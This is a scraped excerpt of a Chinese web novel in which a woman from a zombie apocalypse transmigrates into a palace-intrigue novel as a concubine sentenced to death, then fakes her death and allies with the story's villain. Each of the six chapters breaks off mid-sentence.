《穿成炮灰,干掉主角当女皇》 1. 第1章 《穿成炮灰,干掉主角当女皇》全本免费阅读 “德妃姜氏,私通侍卫,秽乱后宫,不守妇道,罪该万死。今赐白绫、匕首、鸩酒,着其择一赴死,钦此!” 姜念虞甫一恢复知觉,头顶就传来了这样一道声音。 德妃姜氏?私通侍卫?赐死? 这不是《龙凤呈祥》里面的剧情吗? 难道她真的穿进书里来了? 姜念虞发现自己是跪在地上的,双手交叠,额头抵在手背上,这个姿势让她很是不适。 她刚直起身,脑袋就一阵眩晕,一大堆记忆碎片走马观花一样在她脑海里闪现。 消化完那些记忆后,姜念虞狂喜,她真的穿进书里来了! 天知道她等这一刻等了多久! 前世她刚上初中,世界就末日了,从此以后她每天都过得生不如死,战战兢兢,担惊受怕……唯一的慰藉就是同桌之前塞给她的一本小说——《龙凤呈祥》。 里面有个开场就领盒饭的炮灰女配,跟她同名同姓,同桌开玩笑说让她小心真的穿书了。 末世之后,她一直将这本书带在身边,得空了就看一下,不是看剧情,而是看里面的人吃的什么,喝的什么,穿的什么…… 她像卖火柴的小女孩隔着窗玻璃偷窥别人的幸福一样,她也隔着书页,偷窥渴盼着书中人的幸福。 无数次期盼着同名穿书定律发生在自己身上。 即便不是穿成德妃“姜念虞”,穿成一个乞丐也好。 那样她起码不用担心走在路上,被突然窜出来的变异怪物一口吞掉。 可惜她在末日挣扎苟活了六年,都没能盼到。 没想到一朝被丧尸杀死,居然就穿了。 她真的来到了这个梦寐以求的世界! 姜念虞贪婪地深嗅了一口这个世界清新安全的空气,感觉整个人都变得轻盈芬芳了。 她微笑着抬头看去,面前站着一个身穿大红色袍服的人,手里拿着一卷明黄色的布,想必他就是来宣旨赐死原主的太监石永竹了。 要问她为何对一个宣旨的太监都记得这么清楚,那当然是因为,她把小说都已经翻烂了。 《龙凤呈祥》就是她的阿贝贝,是她精神上的安全屋,每次一翻开,她就感觉自己的灵魂进入到了一个绝对安全隐蔽的空间,谁都找不到,谁也伤害不了她。 她自然对书中的人物和剧情了然于心。 看着石永竹,她不禁感叹,和怪物比起来,他真的要可爱太多了。 这可是活生生的正常人啊! 他身后站着的那两个小太监也都让她觉得亲切。 尽管,他们一人手里端着白绫,一人手里端着匕首和鸩酒。 见德妃竟然面露笑容地看着自己,石永竹心里一个哆嗦,这德妃怕不是疯了吧? 被赐死居然还笑得出来? 冷宫果然是个被诅咒的地方,先前还好好的德妃,进来不过一个晚上,就变得不正常了。 他急着离开,催促道:“德妃娘娘,接旨吧,咱家还等着回去向皇上复命呢。” 姜念虞接过圣旨,好奇地看了看,摸了摸,这上面的字儿写的真好,虽然有好多字她都不认识。 圣旨的材质也特别好,丝滑柔软,她已经很久没有接触过这么柔软的东西了。 她下意识想将圣旨揣进兜里,却发现自己这会儿穿的是一身轻薄的纱衣,里面是一套长袖长裤的白色衣裳,应该是古人的睡衣吧。 身上一个口袋都没有,她只好将圣旨抱在怀里。 石永竹看着她这举动,愈发觉得她疯了,朝左右两个小太监使了个眼色。 俩小太监上前,生得白净秀气的那个说:“娘娘,请。” 姜念虞看着他们端上来的托盘,把白绫抓在了手里,和圣旨一块儿抱着。 又拿起了匕首,这个可以当武器。 两个小太监面面相觑,德妃娘娘怎么选了两样呢?难不成她是怕自己吊不死,所以把匕首也拿着? 最后还剩下一壶鸩酒,姜念虞暂时没动。 虽然她挺想尝尝酒味儿的,但那酒里可是有毒的,不能喝。 死是不可能死的,她好不容易穿过来,连顿饱饭都还没吃上,咋可能就这么去死呢。 但是赐死圣旨都已经下了,以她现在的身体素质,对上三个人胜算不大。 姜念虞脑子一转,想到了一个主意。 她太久没跟人说过话了,先在心里打了遍腹稿,又清了清嗓子,这才对石永竹道:“石公公,我想单独跟你说几句话,是关于‘你的主子’的。” 石永竹表面忠于皇帝,但其实背后的主子另有其人。 听到姜念虞提起主子,他脸色就变了变,生怕她嚷嚷出来暴露了自己的身份,故意掩饰道:“关于皇上?也罢,看在娘娘马上就要赴黄泉的份儿上,咱家就听你说说吧。你们去大门口候着。” 朝两个小跟班挥了挥手指。 两个小太监放下手里的托盘,去宫门口候着了。 两人前脚离开,姜念虞后脚就关上了房门。 见状,石永竹不禁有些慌,德妃这是想干什么? 他故作镇定道:“德妃娘娘,你到底想跟咱家说什么?” 姜念虞将宽松的袖子往上一撸,一条嫩生生白莹莹的胳膊露出来。 石永竹心头一跳,忙转过头去,“娘娘,你这,你这成何体统,咱家可不是那等趁虚而入之人——” 虽说德妃娘娘的确生得花容月貌,他一个断了根的人都不禁被她的容色晃到,但他若是敢做出什么出格的事来,小命可就要不保了。 姜念虞:“石公公你想多了,我是想让你看看我胳膊上的守宫砂。” 守宫砂? 石永竹转头看去,那条莹白如雪的胳膊上,一枚鲜艳的守宫砂如雪地红梅一般惊艳夺目,触目惊心。 德妃娘娘不是与侍卫私通吗?怎的守宫砂还在? 姜念虞自然看出了他的震惊和疑惑,朝他走近两步:“石公公,我根本就没有与侍卫私通,我是被人冤枉的——” 石永竹凝神细听,却不防腹部猛地遭了一记重击,他痛得躬起了身子,紧接着头发被一把抓起,后颈传来一阵锐痛。 他眼前一黑,就什么也不知道了。 姜念虞将他丢到地上,轻喘了两口气。 这副身子也太虚弱了,弄晕一个人都搞得她气喘吁吁的,等她解决了眼下的死亡危机,得好生锻炼起来才行。 姜念虞快速将白绫和圣旨缠裹在腰间,从窗户一跃而出,朝冷宫的后花园跑去。 冷宫在皇宫里是一个充满了恐怖色彩的禁地,平时没人愿意往这边来,即便来了也要远远地避开。 而实际上,那些闹鬼的恐怖传说,都是大反派李玄璋故意放出去的,为的就是不让外人踏入。 经过他数年的经营和谋划,这偌大的冷宫,已然成了一个看似荒废实则严密的堡垒。 地底下更是藏着一片迷 2. 第2章 《穿成炮灰,干掉主角当女皇》全本免费阅读 时间倒回一刻钟前。 面对着看似单纯无害实则心狠手辣的大反派,姜念虞知道自己一句话说得不对,就很可能被他弄死。 但实话实说也是不可能的,她总不能告诉他她是从书里知道他名字的吧? 姜念虞抠着手心,心里发慌,面上却像机器人一般冷酷无情,一字一句道:“我听说过你。” 李玄璋点了点头,似是信了,“姐姐还没回答我刚才的问题呢。” 姜念虞:“我想躲进山洞里,逃过一死,你应该知道我是谁吧?” 李玄璋:“知道呀,姐姐就是跟侍卫私通被打入冷宫来的德妃娘娘。” 姜念虞:“我没有跟侍卫私通,是李淳,也就是皇帝找了那个侍卫来故意诬陷我。” 李玄璋眸底深处掠过一丝玩味,她竟然直呼李淳的名字? 从接下赐死圣旨的那一刻起,这位德妃娘娘似乎就变得不一样了。 面上却是故作惊讶:“怎么会?皇兄怎么可能找人来诬陷自己的妃子私通呢?” 姜念虞:“因为我伤害了他的心肝宝贝。” 《龙凤呈祥》讲的是重生的皇帝攻将上辈子对自己不离不弃、肤白貌美的柔弱太监受捧在掌心里娇宠,顺便肃清朝堂、铲奸除恶、造福百姓、统一天下的故事。 李淳,就是那个重生的皇帝攻。 前几天,德妃去李淳宫里,太监受给她上茶,茶水太烫了,德妃一不小心失手摔了茶杯,飞溅的茶水烫红了太监受的脸,这可把李淳心疼坏了。 竟敢烫伤我心肝宝贝的脸,德妃这个女人实在该死! 可惜重生前的李淳骄奢淫逸、昏庸无能,大权旁落,就是个空架子皇帝,而德妃,可是前皇后的亲妹妹,权臣姜丞相的女儿,李淳哪里能说杀就杀了她? 思来想去,他就想出了诬陷德妃私通侍卫这么个阴损恶毒的主意。 昨晚德妃在自己寝殿里睡得好好的,一个男人忽然闯进来对她不轨,她正奋力挣扎着,皇帝就带着一帮人闯进来,“捉奸成双”。 德妃惶恐无比,百般辩解,皇帝却哪里肯听?怒斥她是个□□,下令将她打入冷宫。 今儿一早就迫不及待下旨赐死她。 除了李淳重生之事,其余的姜念虞丝毫没有隐瞒,都向李玄璋抖搂出来了。 既是解释,也是借此向他投诚。 李淳杀了德妃,后续还会对姜家出手,而现在她既然成了德妃,不管是为了给原主报仇,还是防止姜家被搞垮,她都得寻找一个盟友。 而除了同样立志于搞死李淳的大反派李玄璋,还有谁比他更合适? “我还知道不少关于李淳的事,只要你救下我这一次,我就帮你搞垮他,把他从皇位上拉下来,让他死得很惨,怎么样?” 李玄璋抱着娃娃走到她面前,一双漆黑琉璃瞳晶莹清澈,却也冰冷无情。 他将手放到了她脖子上,轻轻摩挲着,语气温柔:“姐姐,你似乎知道得太多了。” 他想将李淳从皇位上拉下来,让他死无葬身之地,可从未对第二个人透露过半个字,她是如何知道的? 这种突然冒出来的不可控因素,实在让人很想立刻抹杀掉。 离得近了,姜念虞才发现,他虽然男扮女装得毫无破绽,但是身高却实在有些突出。 德妃十八,而他十七,他比她还小一岁,却要比她高出大半个头。 此刻他握着她脖子,明显是对她动了杀心。 他发出一声轻轻的叹息:“姐姐,我也想救你,可我只是冷宫里一个不受宠的公主,实在是爱莫能助呀。” 说着就要捏断她那脆弱的脖颈。 姜念虞闭上了眼睛,没有挣扎,反而哼唱起了一首歌谣。 “有狐绥绥,在彼淇梁。心之忧矣,之子无裳……” 狐狸独自慢慢走,走在淇水桥上头。我的心中多伤悲,他连衣裳都没有…… 这是李玄璋的母亲,陆婕妤临终前唱的一首歌。 她担心自己死后,儿子孤零零的一个人,在冷宫连保暖的衣裳都没有,该怎么活下去啊。 然而她再不舍,也还是死了。 听到这首歌从德妃嘴里唱出来,李玄璋的手蓦地松开,深潭般的眼睛仿佛被投入了一颗巨石,激起了层层波澜。 就这样,姜念虞活了下来。 石永竹背后的主子就是李玄璋,在他的吩咐下,石永竹很听话地配合着姜念虞演了一出假死的戏码。 接下来,她只需要等着便宜爹姜丞相听闻消息后,将她接出宫,她就能顺理成章地脱身了。 回到保和殿,石永竹向皇帝禀报:“皇上,德妃已服毒自尽。” 李淳漫不经心地应了声,朝石永竹身后那个清秀小太监招手:“墨春,来,给朕磨墨。” 墨春:“是,皇上。” 殿内一片安静,磨墨时的轻微摩挲声,舒缓而有韵律,漆黑浓稠的墨汁自然沁出,散发出一股清冽的墨香。 李淳提笔饱蘸墨汁,在纸上写下三个大字——李玄璋。 这三个字犹如银钩铁画,力透纸背,勾折横撇间浸透着一股凛然的杀气。 墨春瞥见,心下不禁疑惑,这人是谁?怎的从未听过? 李淳盯着那个令自己恨之入骨的名字,眼中已然漫上了一层血色。 外间忽然传来一声高呼:“姜相公,可万万不能擅闯啊,还请止步,容咱家进去禀报一声——” “走开!” 身着紫色官袍的中年男子不顾太监的劝阻,大步闯进了殿内,盯着皇帝:“皇上,臣听说,德妃娘娘私通侍卫,已被您下旨赐死了?” 中年男子正是丞相姜赦。 原本他在都堂办公,听闻这个消息后,慌得笔都拿不住了,帽子也没戴,就急匆匆跑了过来,想当面向皇帝问个清楚。 李淳看着姜赦那悲痛惊惶的样子,心头涌起一股报复般的快感。 姜赦啊姜赦,前世你仗着是我的岳父,仗着我对你的信任,在朝堂结党营私,大权独揽,以至于将我这个皇帝都给架空了。 后来你竟还和李玄璋里应外合,谋权篡位,废黜了我的皇位!害得我从云端跌落,一朝坠入地狱,生不如死。 德妃之死,不过是个开始罢了。 这一世,我也要叫你尝尝那生不如死、悲痛欲绝的滋味儿! 李淳一脸愤怒地抄起镇纸往姜赦身上砸,“姜赦,你还有脸来问朕?你养的好女儿!朕看在她是婉儿妹妹的份上,甫一入宫就给了她妃位的尊荣,结果她是怎么报答朕的?竟敢跟侍卫私通,叫满宫人都看了朕的笑话! “这事若是传了出去,朕堂堂天子,岂不是要沦为百姓茶余饭后的笑料?!” 姜赦:“皇上,德妃的性子臣是知道的,她绝不会与人私通——” 李淳:“你这是在怀疑朕诬陷德妃了?朕昨晚亲眼所见,她跟一个男人赤-身裸-体地搂抱在一起!朕简直没眼看!” 姜赦沉默了片刻,再开口时整个人已像是老了十岁。 “皇上,臣膝下仅有两个女儿,大女儿给您做了皇后,年纪轻轻就撒手人寰,小女儿进宫不过月余,如今又被您给赐死了,您这是在剜臣的心啊! “就算德妃娘娘当真与侍卫私通,那也罪不至死啊!您如何就这般急着要处死她,让臣连她最后一面都没见到……” 李淳脸色阴沉:“放肆!姜赦你这说的什么话,就算德妃与侍卫私通也罪不至死?你这是将皇室威严置于何地?将朕的颜面置于何地? “姜赦,你莫不是以为,你姜家女儿的性命,竟比皇权还要大?” 姜赦跪倒下去,伏地请罪:“臣万万不敢如此作想,还请皇上息怒。”< 3. 第3章 《穿成炮灰,干掉主角当女皇》全本免费阅读 父女俩吓了一跳,对视一眼,立刻十分默契地进入了演戏状态。 姜念虞躺到地上,脑袋一歪,装死人。 姜赦嚎啕大哭:“岁岁啊,我的女儿啊,你怎么就去了啊,你这是要痛杀爹爹啊……” 李淳走进屋内,看见这场景,唇角勾了勾,面上却是一副感伤状:“姜相,朕来送德妃一程。” 姜赦擦了擦泪,“皇上有心了。” 李淳走上前,半蹲在德妃的“尸体”前,仔细瞧了瞧,却是辨不出她到底是真死还是假死。 他伸手想握住德妃的手,趁机摸一下她的脉搏,姜赦却抓着德妃的两只手不放。 李淳一边发表着悼言,一边寻找机会:“德妃,朕也算是看着你长大的,从前你经常进宫来看你姐姐,朕那时还说要替你寻一个好夫君,谁能想到,你姐姐突然就去了,你为了照顾晟儿,也进了宫。 “朕心里是把你当妹妹看待的,本也没打算真的宠幸你,谁知你竟这般耐不住寂寞,与侍卫暗中苟且……朕的心真是被你伤透了,这才会一气之下将你赐死。 “如今看到你毫无声息地躺在这里,朕不禁后悔了,后悔先前太过冲动,可惜人死不能复生——” 就在这时,姜念虞睁开了眼睛,当着李淳的面,表演了一个“死而复生”。 李淳骇了一跳,连退好几步,“德妃你,你没死?” 姜赦则喜出望外,老泪纵横:“岁岁,你,你这是死而复生了?太好了!爹爹不用再经历一次白发人送黑发人的痛了。” 姜念虞恍如隔世地看着他,“爹?我回来了,我真的回到阳间了!阎王爷没骗我!” 姜赦:“岁岁,你见着阎王爷了?” 姜念虞:“嗯!我喝下毒酒后,魂魄不知怎的就来到了阴曹地府,站在一间大殿内,阎王爷就坐在上头,他见到我就‘咦’了一声,怪道‘你这生魂怎么来了地府?’ “而后翻开生死簿查看了一番,说我还有六十年阳寿,本不该在此时入地府,我哭求阎王爷放我回阳间,阎王爷说,我前世乃是大善人,身具功德,这一世本该健康长寿、安度晚年,只是被奸人所害,这才身殒。” 听到此处,被内涵为“奸人”的李淳嘴角抽了抽。 他目光探究地盯着姜念虞,一时竟分不清她说的是真话还是假话。 若是前世,他定要斥责她胡言乱语,这世上哪有什么鬼神? 但他自己就经历过死后又重生回到数年前的事,所以并不敢妄下定论。 姜赦:“那后来呢?” 姜念虞:“阎王爷说看在我身具功德的份上,同意将我送回人世,于是我就又活过来了。” 李淳:“能够死而复生,德妃当真是福缘深厚。” 姜念虞吃了一惊,像是才发现他也在的样子,“皇上,臣妾是冤枉的,臣妾根本就不认识那个侍卫,又怎么会和他私通呢,您看,臣妾胳膊上的守宫砂都还在呢,臣妾是清白的!” 她将袖子往上一撸,大喇喇地露出自己的守宫砂来。 看见她胳膊上的守宫砂,李淳瞳孔一缩。 好一个林鹤! 他明明下令让他坐实与德妃私通之事,还给了他足够的时间,估摸着他应该完事了才带人闯进去。 进去时他分明看到林鹤跟德妃衣衫不整地搂抱在一处,还以为他已经成事儿了,没想到他竟然如此不中用! 德妃的守宫砂竟还在! 那之前那么长时间,他都在里面做了什么! 心里恼怒得紧,李淳面上却不能表露分毫,而是一脸震惊的样子:“看来朕真的错怪你了,德妃,你受委屈了。” 伸手将她从地上扶起来。 姜赦拱手:“还望皇上能够彻查此事,还德妃一个公道。” 姜念虞也跟着道:“那个侍卫肯定是受人指使来陷害我的,我要跟他当面对峙。” 李淳:“你们放心,朕定会将此事查个水落石出,还德妃一个公道,只是……” 他顿了顿,面露愧色:“朕昨晚一怒之下,一剑将那侍卫杀了,此事查起来恐怕得多费些工夫。” 姜念虞:哼,分明就是你借机杀人灭口。 但是你不知道吧?那个侍卫心脏比寻常人长得偏,所以你那一剑根本就没能杀得了他。 小说里,李玄璋这个大反派将人救了下来,后面侍卫成了他阵营里的一名高手刺客,险些将李淳这个男主给杀了。 而现在,李玄璋跟她合作,侍卫自然会配合她。 她才这么想着,石永竹就进来禀报:“皇上,刚才奴婢接到消息,昨儿个晚上被您刺了一剑的那个侍卫,竟然还活着,您说那人该如何处置啊?” 李淳厉目扫过去,这个狗奴才,他刚说侍卫死了,他就来说侍卫还活着,不是成心打他的脸吗? 哦是了,说不得他就是故意的,是受了李玄璋的指使! 偏偏姜赦这个老东西也在场,他没法将事情按下去。 “是吗?太好了,快将人带上来,朕倒要问问他,他到底是受何人指使,来陷害德妃。” 石永竹:“皇上,他这会儿正昏迷不醒呢,没法儿来回话。” 姜赦见李淳装傻,干脆言明:“皇上,此人昨晚受了您一剑,虽然还活着,但情况恐怕不容乐观,还请皇上请医官为他诊治一番。” 李淳:“姜相说的是,石永竹,你还愣着干什么?还不快去请医官为那个侍卫诊治。” 转向姜念虞,歉疚道:“德妃,君无戏言,朕昨日已将你打入冷宫,如今事情尚未查明,还得委屈你继续在冷宫待几日了,你放心,待事情一查明,朕就立刻放你出来,还会好好补偿你。” 姜念虞:狗东西,说来说去就是要把我继续关在冷宫吃苦。 我的炖羊肉啊,烧鸡啊,烤鸭啊!都吃不着了! “那皇上可否给臣妾送些吃食进来?冷宫这边您也看到了,什么吃的都没有。” 顶着姜赦灼灼的目光,李淳自然是笑着应了,“这是自然,朕待会儿就叫人送来。” 皇帝转身离开,姜赦这个外臣也不得不跟着离开,“岁岁,别怕,啊,爹爹不会让你在这里待太久的。” 众人哗啦啦离开,冷宫又变得清冷寂寥了。 姜念虞心心念念地等着狗皇帝给她送吃的来,结果左等右等也没等到。 草!说什么等会儿就送 4. 第4章 《穿成炮灰,干掉主角当女皇》全本免费阅读 过得一阵,黄鹂回来禀报道:“主子,德妃娘娘原本已经服毒自尽了,谁知过后竟又死而复生了。” 太后又惊又奇:“怎么回事?快给我说说。” 黄鹂将打探来的消息娓娓道来。 她人如其名,声如黄鹂,清脆动听,又颇懂得讲故事的技巧,将一件本就充满奇诡色彩的事情讲得是波澜起伏,一波三折,跟说书似的,听得太后身子都忍不住往前倾了,不断追问:“然后呢?” 待得黄鹂讲完,太后这才长出一口气,双手合十念了声“阿弥陀佛”。 “不想德妃竟能有此奇遇,等她出来了,我得把她叫来好生瞧一瞧,问问她在阴曹地府里都看见了什么。” 淑妃心下颇为无奈,姑母的关注点竟偏到了地府上去,重点难道不应该是—— 德妃当真死而复生了吗? 活过来的德妃,当真是原来的德妃吗? 从慈宁宫出来,淑妃对身边的宫女道:“菖蒲,冷宫清寒,你替我给德妃娘娘送些吃食衣物过去。” 收到淑妃叫人送来的一大堆吃的喝的穿的,姜念虞那叫一个高兴,对菖蒲道:“替我多谢你家娘娘。” 还是淑妃靠谱,比李淳那个狗皇帝不知好上多少倍。 姜念虞开开心心地打开包裹,先拿了块糕点塞进嘴里。 “姨母!姨母——” 一道稚嫩的人类幼崽声音传来。 姜念虞嘴里叼着半块糕点转过头,就见一个戴着帽子,穿着迷你版汉服袍子的小豆丁朝她跑过来。 脸颊上的肉都跟着一颠一颠的,像只雪白的糯米团子,让人恨不得咬上一口。 “姨母……”小豆丁跑过来,一把抱住她的腿,仰头看着她,圆溜溜的大眼睛里,已然包了一泡泪。 姜念虞三两下将嘴里的糕点咽下去,将小豆丁抱起来,一股好闻的奶香味扑鼻而来,这让他看起来更好吃了。 “晟儿,你怎么来了?” 李晟,“姜念虞”一母同胞的姐姐——皇后姜思婉的孩子,今年才五岁。 “姜念虞”原本有个订婚三年的未婚夫,都已经快要出嫁了,惊闻姐姐去世的噩耗后,她毅然退掉了婚事,决定进宫为妃,护持姐姐留下的小外甥平安长大。 姜家爹娘没能拗得过她,最终还是同意了她进宫。 “姜念虞”留下的记忆里,最放心不下的就是李晟这个外甥。 李晟抱着姨母的脖子,奶声奶气道:“我在学堂里听见有人说姨母跟人私通,被父皇赐死了,我不想要姨母死,姨母不要离开晟儿……” 才五岁的李晟并不能理解死亡的含义,但是他知道,死了就是再也见不到了。 母后死了,他再也见不到母后了。 他不想姨母也离开他。 姜念虞抱着他坐下来,一边吃东西一边向他保证:“姨母不离开,以后天天陪着晟儿。” 李晟看姨母吃得那么香,也跟着馋了,“姨母,晟儿也想吃。” 姜念虞下意识想拒绝,食物可是很珍贵的,她哪里舍得分给别人? 旋即想到,自己已经不在末世了,而是穿进了物资相对富足的书中世界。 “好吧,那就分你一点。”看在你这么可爱的份上。 姜念虞小气地掰下来一块拇指肚大的糕点,喂给李晟。 李晟细嚼慢咽着,吃完了又张开嘴巴等着投喂,像一只胖嘟嘟的雏鸟。 “姨母,私通是什么意思啊?” 吃饱了,李晟问出心里的疑惑。 姜念虞一本正经地给他解释:“私通就是女人和男人私下里互通有无。” 李晟:“?” 大大的眼睛里盛满了单纯的问号。 “互通有无是什么意思啊姨母?” 姜念虞:“哎呀就是互相来往的意思,等你以后长大了就知道了。” 李晟:“好吧。” 他从姨母腿上溜下来,“姨母,我得回去继续读书了,等我下学了就来陪姨母。” 姜念虞捏了捏他的脸蛋子,“好,去吧。” 牵起他的小手,将小家伙送到了门口,看着他在宫女太监的簇拥下慢慢走远。 “喵~” 后院传来一阵猫叫声,姜念虞循声找过去,眼睛一亮。 一只黑猫蹲在一棵树上,毛光水滑,黑色的毛发似缎子一般在阳光下闪闪发亮,毛发尾端还泛着红芒,这不会就是李玄璋养的那只玄猫吧? 它似是被困住了,在树上盘旋着不敢下来。 那是一棵浑身焦黑光秃的树,明显是被雷劈过,周围草木茂盛,唯独它像是一截死木一样矗立在那儿。 姜念虞走过去,将手贴在粗糙干裂的树干上。 要是她的木系异能也跟着穿过来就好了,那样她分分钟就能将这棵树治好,让它重新焕发生机,长得郁郁葱葱。 才这般想着,她就感应到,自己的精神识海里,亮起了一点璀璨绿芒! 那是她的异能源种! 她的异能竟真的跟着她穿过来了! 姜念虞一阵惊喜。 但很快她又高兴不起来了,因为她的木系异能完全退化了,比前世她刚觉醒时还要弱。 这里不是末世,没有变异生物给她狩猎,她也就没法弄来晶核给异能升级。 木系异能于现在的她而言,并没有实质性的意义,只能算是一个慰藉。 “喵~” 头顶传来的猫叫声,让姜念虞回过神来。 见它弓起脊背准备往下跳的样子,她忙后退两步,站在合适的位置,伸出手臂:“来,咪咪,往这儿跳,我接着你。” 黑猫似乎听懂了她的话,竟真的一跃而下,落入了她怀中,沉甸甸的一团。 姜念虞发现自己高估了这具身体,一只猫带来的冲击力,就让她重心不稳往后跌倒了。 所幸一只手及时从后面伸过来,揽住了她,让她没有一屁股坐到地上去。 而就在那只手揽住她的一瞬间,她精神识海里的异能源种,竟然光芒大放,以肉眼可见的速度变大了一圈—— 从一粒微尘,变成了一粒芝麻那么大。 姜念虞震惊地看向揽住她的人,她的异能增长,和大反派有关吗? 李玄璋松开她,“姐姐这是怎么了?” 姜念虞抱着黑猫站稳,心跳却越发狂乱了。 就在他松手的那一刻,她的异能增长停止了。 难道,她的异能增长真的跟大反派的触碰有关?不然她实在很难解释这种巧合。 要验 5. 第5章 《穿成炮灰,干掉主角当女皇》全本免费阅读 林鹤被安置在慎刑司一个狭小的单间内,太医应该已经来给他看过了,外头有个小太监在炉子前熬药。 姜念虞正想着要怎么越过那个小太监进去呢,李玄璋就径直走了过去,跟小太监打了声招呼:“豆荚儿。” 豆荚儿惊喜地转过脸来,“蓁蓁,你来啦,你都好几天没来找我了,我昨儿得了一碟蚕豆,我尝了一个,又香又脆,可好吃了,给你。” 他从怀里拿出来一个纸包,打开来,里头窝着七八颗蚕豆,往李玄璋面前一递。 李玄璋捏起一个送进嘴里,嚼了嚼。 豆荚儿:“好吃吧?” 李玄璋:“嗯,好吃,你也吃。” 豆荚儿:“嘿嘿,我吃过了,这些是给你留的。” 姜念虞颇为吃惊,书里的大反派李玄璋,是个心狠手辣、冷酷无情的妖孽般的人物,他动不动就将敌人剥皮抽筋碎骨,为了处理尸体,他甚至还专门养了一头猪,将敌人的尸体碎块扔给猪吃。 她从来没想过,大反派也会有这样朴实得接地气的一面。 竟然跟一个小太监交起了朋友,还分吃蚕豆。 李玄璋朝姜念虞递了个眼神。 姜念虞反应过来,从后面悄声绕进了屋内。 狭小阴暗的屋子里,只有巴掌大的一面窗户,一角阳光照了进来。 床上躺着个面色苍白的男人,看清他的面容时,姜念虞心里那股子与原主同仇敌忾的情绪,忽然就滞了滞。 她没想到这个诬陷原主的侍卫居然长得这么……绝。 昨晚他闯进原主的寝殿,原主其实并没看清他的样貌,连带着她也不知道他长啥样。 现在知道了,她着实有些意外。 李淳这个狗东西,为了坐实德妃跟侍卫私通的罪名,真是煞费苦心了,找来这么个极品的绝色美男子。 也对,要是个长得一般的,别人也不会信德妃会跟他私通吧。 也就只有林鹤这等长相极品的男人,才能让人相信,德妃跟他私通是情有可原的。 不过就算他长得再极品,他也是害死原主的凶手之一。 等他活下来指证了李淳,她再收拾他。 姜念虞也不耽搁,上前将手搭在他额头上,给他输送异能。 是的,她所谓的能够退烧的偏方,其实就是用异能给他治疗。 木系异能,除了能够催生植物之外,还能增强人体的生机。 生机增强了,免疫力自然也跟着增强了,表现出来就是病痛退却,伤势好转。 刚通过接触大反派提升的那一点子异能,就要浪费在林鹤身上了……咦,怎么回事? 接触林鹤,她的异能源种怎么也变大了? 姜念虞没再对他输送异能,只是单纯地把手贴在他额头上,但她的异能依然在上涨。 这岂不是说明,接触林鹤,也能让她涨异能?! 哦豁,事情有点超出她的预料了。 她以为大反派是特殊的,所以接触他可以提升异能,但如果林鹤也能的话,那其中的原因是什么? 李玄璋和林鹤,他们两人的共同点是什么? 都是男的,而且长得好看? 不管怎么说,这对她来说都是一件好事。 起码提升异能的来源多了一个。 趁林鹤昏睡着,姜念虞拿他做了下实验,她发现她与他接触的面积越大,时间越久,她的异能就涨得越快! 这一会儿的工夫,她的异能源种已经涨到黄豆粒那么大了。 外间传来李玄璋和豆荚儿的争执声。 李玄璋:“最后一颗了,豆荚儿你吃了吧。” 豆荚儿:“蓁蓁,你吃,药熬好了,我得进去给里头那人喂药了。” 李玄璋:“你是不是不拿我当朋友?把这颗豆子吃了再去。” 姜念虞知道李玄璋这是借机告诉她,时间到了,得出去了。 她忙给林鹤输送异能,将从他身上涨来的异能输了一大半回去,眼见着他的脸色好看了些。 这下他应该能活下来吧? 她起身离开,不想袖子竟然被拉住了,低头一看,林鹤醒了。 而此时,豆荚儿已经端着药,朝门口走来了。 也幸好他低头看着药碗,怕药撒出来了,所以没第一时间发现屋子里多了个人,但要是进到屋子里来了,放下药碗,那姜念虞立刻就会暴露。 本该被侍卫重重看守在冷宫里的德妃娘娘竟然跑到了慎刑司里来,跟与她私通的侍卫孤男寡女地共处一室。 这一幕要是被人瞧了去,那她的罪名真要被坐实了。 姜念虞想扯回袖子,趁着那小太监还没进屋赶紧离开。 然而林鹤抓得很紧,她一时之间竟然扯不开。 眼见豆荚儿就要迈过门槛了,姜念虞抬起另一只手,打算一掌将林鹤劈晕。 就在这时,外头传来李玄璋的一声:“豆荚儿,你看天上。” 豆荚儿下意识朝天上看去。 一只鸟儿从半空划过。 李玄璋指尖一弹,一坨黑色的东西呈抛物线飞了出去,恰好落入了豆荚儿手中的药碗里。 那是他先前吃的蚕豆豆壳儿,他捏碎了混合着水搓成了一团。 然而豆荚儿才看见鸟飞过,见着这一团黑色的东西落下来,便下意识以为那是一坨鸟屎。 “呀!这扁毛畜生,坏事儿了,药里落了鸟屎,这可咋办。” 豆荚儿跺了跺脚,“唉,真是晦气,只好把这碗药倒了重新熬一碗了。” 他端着落了“鸟屎”的药碗转身走回来,对李玄璋道:“蓁蓁,你自己玩一会儿啊,我得去药房再领一副药回来。” 李玄璋:“好,你去吧,我替你看着炉子。” 屋内,姜念虞松了口气,见林鹤挣扎着要起来,一指头将他按了回去。 “你伤还没好,起来做什么,躺着吧。行了,我不走,你松手。” 林鹤听话地松了手,眼睛盯着她那被他攥皱了的袖口,并不敢看她。 “德妃娘娘,昨夜卑职冒犯了您,卑职该死——” 姜念虞:“是李淳指使你来的吧?” 林鹤震惊抬眸,视线却也只是从她脸上一掠而过,就又很快垂下了眸子,“您是如何知道的?” 姜念虞将桌边的一条凳子拖过来,坐下,“这你就不用管了,你说你冒犯了我——” 她目光在他脸上转了一圈,发现他脸色还是白的,耳朵却红得滴血,两只手也紧紧地攥着被单,活像是被她欺负了似的。 可她明明从记忆里“看”到,昨晚的他可是强势得很,幽灵一样闯入她的寝殿,她的床榻,倾身而上压着她,一只手还捂着她的嘴,不准她动弹、喊叫。 不过也仅限于此了,禁锢住她后,他什么也没做,身体甚至是悬空的,与她隔着一线距离。 当时原主太害怕了,所以忽略了这一点,但是她作为旁观者,却是看得分明。 “以你的实力,若是真想冒犯我,我的守宫砂早就不在了,所以,你是受了李淳的威胁,才不得不来冒犯我,对吗?” 林鹤没说话,显然是默认了。 姜念虞:“李淳是不是拿丽嫔,也就是你妹妹威胁 6. 第6章 《穿成炮灰,干掉主角当女皇》全本免费阅读 当晚,李淳翻了丽嫔的牌子。 “臣妾见过皇上。”丽嫔进殿后,娇滴滴地朝李淳行了礼。 近来她正得宠,行礼时往往膝盖还没弯下去,皇上就会来扶她,勾着她的腰肢将她带进怀里。 而这一回,她膝盖都弯半天了,也不见皇上叫起。 丽嫔心下狐疑,抬头看去,就见皇帝坐在榻上,手里把玩着一支飞镖,似笑非笑地瞧着她,似乎要将她当成靶子。 她心头一跳,眼中媚意流转,娇嗔道:“皇上,臣妾的腿都要站酸啦。” 李淳却仍旧没有叫起,“是吗?不应该吧,江湖小飞蝶就这点实力吗?” 丽嫔眼睫一颤,心中警铃大作,“小飞蝶”是她行走江湖时的名号,皇帝是怎么知道的? 